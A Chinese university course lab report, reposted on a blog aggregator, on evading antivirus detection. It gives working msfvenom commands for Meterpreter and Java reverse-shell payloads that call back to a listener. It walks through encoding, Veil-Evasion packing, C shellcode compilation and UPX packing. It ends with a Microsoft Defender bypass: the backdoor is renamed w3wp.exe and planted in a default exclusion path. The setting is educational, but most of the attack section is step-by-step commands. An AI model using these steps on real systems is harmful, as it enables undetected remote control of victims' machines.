20222314 2024-2025-1 《网络与系统攻防技术》 实验三实验报告

news/2025/1/16 11:03:02/文章来源:https://www.cnblogs.com/52HuLu/p/18517651

网络与系统攻防实验报告

实验时间:2024-10-25 ~ 2024-10-31
实验人员:20222314陈振烨
实验地点:地下机房
指导教师:王志强

本周学习内容

学习了免杀的相关原理,掌握了msf的编码免杀基本操作,成功下载了veil加壳器并进行加壳免杀

实践内容

(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧正确使用msf编码器,使用msfvenom生成如jar之类的其他文件veil,加壳工具使用C + shellcode编程
(2)通过组合应用各种技术实现恶意代码免杀如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

问题回答

(1)杀软是如何检测出恶意代码的?

(1)基于特征码进行检测:杀毒软件的病毒库记录了一些恶意软件的特征码,一段特征码就是一段或多段数据,并将这些唯一的特征码建立成库,形成比对,这样的方式往往是精准的,但其却是相交滞后的。(2)利用启发式恶意软件检测:将一个软件与恶意软件的行为、代码等作比对,如果发现相似度达到一定程度,即判定这个程序为恶意代码,一些典型行为有如连接恶意网站、开放端口、修改系统文件、签名、结构、厂商等。缺点:片面特征去推断,缺乏精准判定依据,存在一个概率问题;实时监控系统行为,开销较多;没有基于特征码的精确度高。优点:比较通用,没有滞后问题;可以0-day恶意软件。(3)基于行为的恶意软件检测:对运行的所有进程进行实时监控,如果有敏感行为会被认为是恶意程序,是一种动态的监测与捕捉,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,相当于加入了行为监控的启发式。该方法和启发式有些重叠,是加入行为的启发式检测。

(2)免杀是做什么?

一般对恶意软件做处理,让它不被杀毒软件(AV)所检测到。

(3)免杀的基本方法有哪些?

(1)子改变特征码如果手里只有EXE加壳:压缩壳 加密壳(动态生成原来的文件)杀软可以检测出常用的壳了hhh Hyperion(加密壳)有shellcode(像Meterpreter)用encode进行编码(exp2 中meterpreter生成的那个文件)改样子,如异或啥的 其指令 -e基于payload重新编译生成可执行文件(shellcode是用C语言写的)C语言调用shellcode数组有源代码用其他语言进行重新再编译(veil-evasion)脚本语言,一句一句执行,
(2)改变行为通讯方式反弹式连接采用隧道技术加密通讯方式基于内存操作(往硬盘读写文件的时候,杀软会进行工作)meterpreter就是如此工作的,其生成文件的内存很小,其在内存上运行减少对系统的修改加入混淆作用的正常功能代码

实验过程

(1)环境准备

免杀测试平台:

Virustotal:https://www.virustotal.com/gui/home/upload
Virscan:https://www.virscan.org/

主机与虚拟机:windows11以及kali-linux

(2)正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

  1. 使用msf编码器对后门程序进行一次到多次的编码,并进行检测。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.1.114 LPORT=2314 -f exe > czy_bianma_1.exe一次编码使用命令:-p表示payloads,-e选择编码器,-b是payload中需要去除的字符,该命令中为了使’\x00’不出现在shellcode中,因为shellcode以’\x00’为结束符。

如图所示,单次编码的效果就是依托

2. 用msfvenom生成jar文件
msfvenom -p java/shell_reverse_tcp LHOST=192.168.1.114 LPORT=2314 -f jar > jar_20222314.jar

(3)下载veil并且尝试加壳免杀

听说好多同学都在这一步遇到了问题,所以下载veil这一步我决定详细地写一下
首先进入管理员模式,然后依次执行如下命令

sudo su
dpkg --add-architecture i386
apt-get update
apt-get install wine32
apt-get install veil-evasion
#随后,在终端中输入veil,安装相关的模块(选y就好)
#中间会弹出很多可视化界面,是帮助你安装相关依赖的,全都安,不需要刻意改路径

安装到ruby1.8.7的时候全勾了吧,感觉有用

一次成功

利用加壳工具产生后门软件

use 1
list
use 7   //c/meterpreter/rev_tcp.py
set LHOST 192.168.1.114
set LPORT 2314
generate

我set的name是czy_veil_1,接下来看看免杀效果

还行,少了11个

(4)使用C + shellcode编程

使用msfvenom 得到shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.114  LPORT=2314 -f c

编译成可执行文件,i686-w64-mingw32-g++ czy_shellcode_1.c -o czy_shellcode_1.exe

更少了

目前排名:shellcode>veil加壳>单次编码

(5)通过组合应用各种技术实现恶意代码免杀

根据我丰富的经验,我决定选择python+rev_tcp+upx程序加壳

所利用的程序1:shellcode进行upx加壳后的程序

所利用的程序二:veil生成的python的tcp反弹shell脚本

veil
use evasion
list
use 28    //use python/shellcode_inject/rev_tcp.py
set LHOST 192.168.1.114
set LPORT 2314
options
generate

免杀率都挺高,那么接下来准备接下我们热血沸腾的组合技吧()

将加壳过的可执行文件czy_shellcode_upx.exe后门传送到Windows主机上

  • 在Windows上监听2314端口等待接收可执行文件czy_shellcode_upx.exe
  • ncat -lv 2314 >czy_shellcode_upx.exe

在Kali上将生成的czy_shellcode_upx.exe传送给Windows

  • nc 192.168.1.118 2314 < czy_shellcode_upx.exe
    然后被杀软发现了,寄

随后是python的,但是运行时也被发现了
难道就没有办法了么?
欸,我有一计

牢烨の最终幻想

木马如何免杀?
木马绕过免杀本质上还是更改他的特征码,那么总结一下可以有
编码
加壳免杀
二次编译
分离免杀:即将ShellCode和加载器分离
目前msfvenom的encoder特征基本都进入了杀软的漏洞库,很难实现单一encoder编码而绕过杀软,所以对shellcode进行进一步修改编译成了msf免杀的主流。互联网上有很多借助于C、C#、python等语言对shellcode进行二次编码从而达到免杀的效果

备注:到这里已经失败了N次了,以上方法均尝试,但是都不行,微软自带的杀毒(也就是Miscrosoft Defender)大强大了,拼尽全力也无法战胜

但是假设,有那么一种情况下,我们绕过了这一层检测呢?
经过查询官方文档,我终于找到了
翻找 Windows 官方对 Windows Defender 的介绍,发现有这样一个目录:Configure Microsoft Defender Antivirus exclusions on Windows Server(在 Windows server 中配置defender排除项)
https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/configure-server-exclusions-microsoft-defender-antivirus?view=o365-worldwide#list-of-automatic-exclusions
简而言之就是在 Windows Server2016 和 2019 中,Windows Defender 默认存在一些排除项,在实时检测过程中会忽略这些排除项,但是主动扫描的时候不会排除。这就给 Bypass Windows Defender 提供了一个新思路。

通篇寻找可用的路径,最终发现几个 exe 路径:

路径 用途
%systemroot%\System32\dfsr.exe 文件复制服务
%systemroot%\System32\dfsrs.exe 文件复制服务
%systemroot%\System32\Vmms.exe Hyper-V 虚拟机管理
%systemroot%\System32\Vmwp.exe Hyper-V 虚拟机管理
%systemroot%\System32\ntfrs.exe AD DS 相关支持
%systemroot%\System32\lsass.exe AD DS 相关支持
%systemroot%\System32\dns.exe DNS 服务
%SystemRoot%\system32\inetsrv\w3wp.exe WEB服务
%SystemRoot%\SysWOW64\inetsrv\w3wp.exe WEB服务
%SystemDrive%\PHP5433\php-cgi.exe php-cgi 服务

生成的后门文件,改名为w3wp.exe后传入windows的|%SystemRoot%\SysWOW64\inetsrv\文件夹中,到这一步,停止接收后完全没报毒,应该稳一半了

成功了!!!

实验感想

​ 最有难度的一集
​ 从一刚开始的下载工具,到最后的尝试免杀到实现免杀,可以说是我对windows系统安全入门的全过程,再这之前我对系统安全的认知还停留在程序的层面上,现在来看我的想法不过是井底之蛙,且不说windows11的defender就已经如此强悍,如果再多一些杀毒软件是真不知道该怎么办了,目前为止成功的有单杀三大软件,以及勉强bypass win11.总体来说,收获主要在于对msf原理的理解,不再是一个纯粹的脚本小子,而是开始从攻防双方的角度去思考攻击者是如何构思payload的,也明白了防御者是如何根据特征去鉴别攻击行为的,是我大学以来收获最丰富的一次实验,酣畅淋漓的一场bypass

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/824640.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

如何在Go中进行单元测试

# 如何在Go中进行单元测试 在Go语言中进行单元测试是确保代码质量和功能正确性的重要手段。Go的标准库提供了`testing`包来支持单元测试、基准测试、示例函数等测试方式。本文将详细介绍如何在Go语言中有效地进行单元测试,包括编写测试用例、运行测试、使用表驱动测试、测试覆…

多线程在打包工具中的运用

我们是袋鼠云数栈 UED 团队,致力于打造优秀的一站式数据中台产品。我们始终保持工匠精神,探索前端道路,为社区积累并传播经验价值。本文作者:UED 团队现代操作系统都是「多任务」的,也就是操作系统可以「并发」处理多个任务,比如可以在浏览页面的时候同时播放音乐。但是,…

网易伏羲:智能体驱动 未来可期 | 《天堂硅谷》杂志报道

近日,网易伏羲产品总监Jeff接受《天堂硅谷》杂志「创业在高新」专栏采访,分享网易伏羲在人工智能领域的最新成就与未来发展愿景,如全球首创的游戏Copilot AI队友及“灵动”机器人品牌,展现了网易伏羲从游戏到实体产业的全方位技术应用与突破。《天堂硅谷》杂志由杭州市高新…

知识点

1.OSI七层网络模型以及TCP/IP四层网络模型2.Web客户端作用:发送request请求 接受response响应 解析response响应 javascript的执行3.常见的安全测试类型:认证与授权 session 和 cookie 文件上传漏洞 缓存溢出漏洞 SQL注入 XSS跨站脚本攻击 DDos分布式拒绝服务攻击4.http的相应…

行为识别常用哪种特征提取

行为识别在许多领域,如安全监控、人机交互和健康监测中,起着关键作用。特征提取是行为识别的重要步骤。常用的特征提取方法有:1. 时间域特征提取;2. 频率域特征提取;3. 时频域特征提取;4. 深度学习特征提取。其中,时间域特征提取关注信号的统计性质,如均值、方差等,常…

idea 自动生成注释

idea 注释 一.类注释 创建类时自动生成 1. file >> settings Editor >> FIle and Code Templates 2.添加 /*** Title : ${NAME}<br>* Description : <br>* Create on : ${DATE} ${TIME}<br>* * @author Li Xiaojun* @version 1.0.0**/ 二. 方法…

知识星球

欢迎大家加入

如何防止服务器端的php文件被下载

### 如何防止服务器端的PHP文件被下载 在网络安全日益重要的今天,防止服务器端的PHP文件被下载是保护网站安全、保障数据不被泄露的关键措施之一。简单来说,防止PHP文件被下载主要有以下几个方法:设置正确的文件权限、配置服务器正确处理PHP文件、使用.htaccess文件防止直接…

Serverless + AI 让应用开发更简单

本文旨在探讨 Serverless 架构与 AI 技术的结合,如何通过 Serverless 函数计算和 AI 开发平台,助力企业简化应用开发流程,减少企业 AI 业务试错成本,加速业务创新,为企业业务发展提供无限可能。本文整理自 2024 云栖大会,阿里云智能高级技术专家,史明伟演讲议题《Server…

大数据是做什么的,有哪些作用

大数据就是我们每天所徜徉的数据海洋。这些数据规模达到了 ZB 级,由我们的电脑、移动设备和机器传感器生成。 大数据的详细定义 我们每天都徜徉在大数据的海洋中,电脑、移动设备和机器传感器都在生成大量数据,规模达到了 ZB 级。企业利用这些数据制定决策,完善流程和政策,…

Adobe Lightroom Classic v14.0 (macOS, Windows) - 桌面照片编辑

Adobe Lightroom Classic v14.0 (macOS, Windows) - 桌面照片编辑Adobe Lightroom Classic v14.0 (macOS, Windows) - 桌面照片编辑 Acrobat、After Effects、Animate、Audition、Bridge、Character Animator、Dimension、Dreamweaver、Illustrator、InCopy、InDesign、Lightro…

Adobe InDesign 2025 v20.0 (macOS, Windows) - 版面设计和桌面出版软件

Adobe InDesign 2025 v20.0 (macOS, Windows) - 版面设计和桌面出版软件Adobe InDesign 2025 v20.0 (macOS, Windows) - 版面设计和桌面出版软件 Acrobat、After Effects、Animate、Audition、Bridge、Character Animator、Dimension、Dreamweaver、Illustrator、InCopy、InDes…